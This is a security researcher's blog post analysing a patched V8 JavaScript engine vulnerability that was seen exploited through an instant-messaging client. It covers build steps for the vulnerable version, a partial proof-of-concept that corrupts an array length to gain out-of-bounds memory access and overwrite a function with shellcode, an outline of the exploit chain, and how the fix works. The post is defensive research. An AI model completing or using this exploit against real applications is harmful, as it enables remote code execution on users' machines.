Watch & Learn

Debugwar Blog

Step in or Step over, this is a problem ...

Analysis of undisclosed vulnerabilities in older versions of V8

2021-04-20 @ UTC+0

Preface

During a recent large-scale internet event, as a beleaguered blue team, we "accidentally" intercepted an attack incident involving phishing through a "0day" exploit in a certain IM (Instant Messaging) platform. Taking advantage of the free time during the May Day holiday, I'm writing down my reflections on recently studying this 0day exploit in a hotel. Corrections from experts are welcome.

Actually, this isn't a "0day" exploit specific to the IM platform; it's more accurately described as a "0day" exploit affecting the V8 engine used by this IM. You may have noticed that I put quotation marks around "0day." That's because this "0day" refers to an undisclosed but already patched vulnerability in an older version of the V8 engine. As a result, any application using this older version of V8 is potentially affected by this vulnerability. Upon initial investigation, it seems that there are quite a few influential applications still using this outdated engine...

This article won't go into basic concepts in detail. For that, please refer to the references at the end, especially [3]. Sakura's tutorial is unparalleled, and I highly recommend reading it before proceeding with this article for better understanding.

This article is for research purposes only and will not disclose the complete code of the proof-of-concept (PoC).

Debugging Environment Setup

While there are numerous articles online detailing how to compile V8, the reason for reiterating this process here is due to the specificity of the scenario mentioned earlier. This vulnerability is exclusive to older versions of V8, which preceded the introduction of compilation tools like Ninja. Instead, these older versions relied on Make tools for compilation. Therefore, it's essential to clarify the debugging environment setup process for this particular case.

It's worth noting that this vulnerability cannot be reproduced using the debug version of d8, possibly due to recursion limitations. Instead, the release version must be used. However, the release version lacks debugging symbols, rendering commands like "job" unusable. Fortunately, upon examining the Makefile, it becomes evident that the Google developers have provided a workaround.

To minimize compilation issues arising from environmental differences, this guide utilizes Docker to create a consistent compilation environment. Varying environments may lead to a plethora of unexpected and challenging compilation problems. For instance, a colleague encountered an issue where certain header files within the V8 engine's "third_party" directory could not be found, which mysteriously resolved after re-cloning the code repository.

Without further ado, let's proceed with the commands. First, we'll start by launching the Docker container:
  1. docker pull centos:8    
  2. docker run --name v8 -w /root -it centos:8 bash    
Once you have obtained a Docker container named "v8," the next step is to enter the container and begin setting up the actual debugging environment:
  1. docker exec -it v8 bash    
  2. yum groupinstall "Development Tools"      
  3. yum install -y git gdb bzip2 curl glibc-devel.i686 libc++-devel.i686    
  4. git clone https://github.com/v8/v8    
  5. cd v8    
  6. git checkout 5.3.332.45    
  7. make -j4 ia32.release disassembler=on objectprint=on verifyheap=on backtrace=on debugsymbols=on  
The vulnerable v8 version has a tag, which is the branch checked out on line 6. Colleagues also need to pay attention to the compilation command on line 7. Make sure to use the command above for compilation, otherwise you may not be able to reproduce or debug this vulnerability.

Vulnerability POC (Partial)

Only the most critical part of the POC (Proof of Concept) is provided here, and subsequent analysis will be based on this portion:

  1. var g_array;      
  2.       
  3. function cb(flag) {      
  4.     if (flag == true) {      
  5.         return;      
  6.     }      
  7.     g_array = new Array(0);      
  8.     g_array[0] = 0x1dbabe * 2;      
  9.     return 'c01db33f';      
  10. }      
  11. function oobAccess() {      
  12.     var this_ = this;      
  13.     this.buffer = null;      
  14.     this.page_buffer = null;      
  15.     this.buffer_view = null;      
  16.     class LeakArrayBuffer extends ArrayBuffer {      
  17.         constructor() {      
  18.             super(0x1000);      
  19.             this.slot = this;      
  20.         }      
  21.     }      
  22.     this.page_buffer = new LeakArrayBuffer();    
  23.     this.page_view = new DataView(this.page_buffer);    
  24.     class DerivedBase extends RegExp {      
  25.         constructor() {      
  26.             super(      
  27.                 // at this point, the 4-byte allocation for the JSRegExp `this` object      
  28.                 // has just happened.      
  29.                 {      
  30.                     toString: cb      
  31.                 }, 'g'      
  32.                 // now the runtime JSRegExp constructor is called, corrupting the      
  33.                 // JSArray.      
  34.             );      
  35.       
  36.             // this allocation will now directly follow the FixedArray allocation      
  37.             // made for `this.data`, which is where `array.elements` points to.      
  38.             this_.buffer = new ArrayBuffer(0x80);      
  39.             g_array[8] = this_.page_buffer;      
  40.       
  41.             print("g_array");      
  42.             %DebugPrint(g_array);            
  43.             print("this_.buffer");      
  44.             %DebugPrint(this_.buffer);            
  45.             print("this_.page_buffer");      
  46.             %DebugPrint(this_.page_buffer);            
  47.             %SystemBreak();                   
  48.         }      
  49.     }      
  50.     this.buffer_view = new DataView(this.buffer);      
  51.     this.leakPtr = function (obj) {      
  52.         this.page_buffer.slot = obj;      
  53.         return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);      
  54.     }      
  55. }      
  56.       
  57. var oob = oobAccess();      
  58. var func_ptr = oob.leakPtr(target_function);      
  59. print('[*] target_function at 0x' + func_ptr.toString(16));      
  60. var kCodeInsOffset = 0x1b;      
  61. var code_addr = oob.read32(func_ptr + kCodeInsOffset);      
  62. print('[*] code_addr at 0x' + code_addr.toString(16));      
  63. %SystemBreak();                   
  64. oob.setBytes(code_addr, shellcode);      
  65. //target_function(0);      

To emphasize again, the above is the main code, but simply using this code alone will not successfully trigger the vulnerability. ;)

Overview of the Vulnerability Cause

As usual, we start with a diagram that illustrates the memory layout of various objects at the time the vulnerability is triggered. Understanding this diagram provides a basic understanding of the vulnerability. Let's get a general idea of the cause of this vulnerability through this diagram, and for details, please refer to the next section.

In the diagram below, the length attribute of the g_array (highlighted in red) has been modified to an excessively large value (the characters c01db33f), allowing access to a subsequent block of memory through g_array.

Coincidentally, this_.buffer is allocated immediately after g_array. Therefore, by modifying the backing_store attribute of this_.buffer to this_.page_buffer, an out-of-bounds (oob) object can be obtained. After acquiring the oob object, the this_.page_buffer.slot object can be read and written to using this object, leaking the memory of the target_function. Finally, shellcode is written to the memory of this function, and by calling target_function, execution permissions are obtained.


As can be seen, the general process of exploiting the vulnerability is:
  1. Overwrite the length property of the global variable g_array by constructing a malformed toString object in the constructor to create a super-sized array.
  2. Modify the actual memory pointer backing_store of the buffer variable through g_array.
  3. Control the pointer of the slot member of page_buffer and use the read/write primitive constructed from buffer to leak the address of slot (in this case, the address of the target_function).
  4. Modify the leaked function address and execute the shellcode.
In the summary above, the most crucial step is the construction of a super-sized array by overwriting the length property of g_array. Without achieving this, the subsequent manipulations of buffer and page_buffer would not be possible.

Now, let's examine how the new version "fixes" this vulnerability.

New Version Fix

Below is the memory allocation for instances of the DerivedBase class in the new version of v8:


It was discovered that the return data of toString was stored in a specific member called source.

Next, let's take a look at the memory layout of this:


Essentially, it refers to the location at 0x5f53224d - 1 + 0x10, while the current location of g_array is:


The calculation (0x5f532649 - 1) - (0x5f53224d - 1) shows that there is a difference of 0x3fc addresses between the memory locations of two variables. Since this difference is greater than 0x10, the return value of the toString function located at an offset of 0x10 cannot overwrite the length property of the g_array variable anymore.

Reference

  1. How to compile V8: https://medium.com/compilers/v8-javascript-engine-compiling-with-gn-and-ninja-8673e7c5e14a
  2. V8 environment setup: https://warm-winter.github.io/2020/10/11/v8环境搭建
  3. V8 Exploit:https://eternalsakura13.com/2018/05/06/v8/


Catalog
Preface
Debugging Environment Setup
Vulnerability POC (Partial)
Overview of the Vulnerability Cause
New Version Fix
Reference

CopyRight (c) 2020 - 2025 Debugwar.com

Designed by Hacksign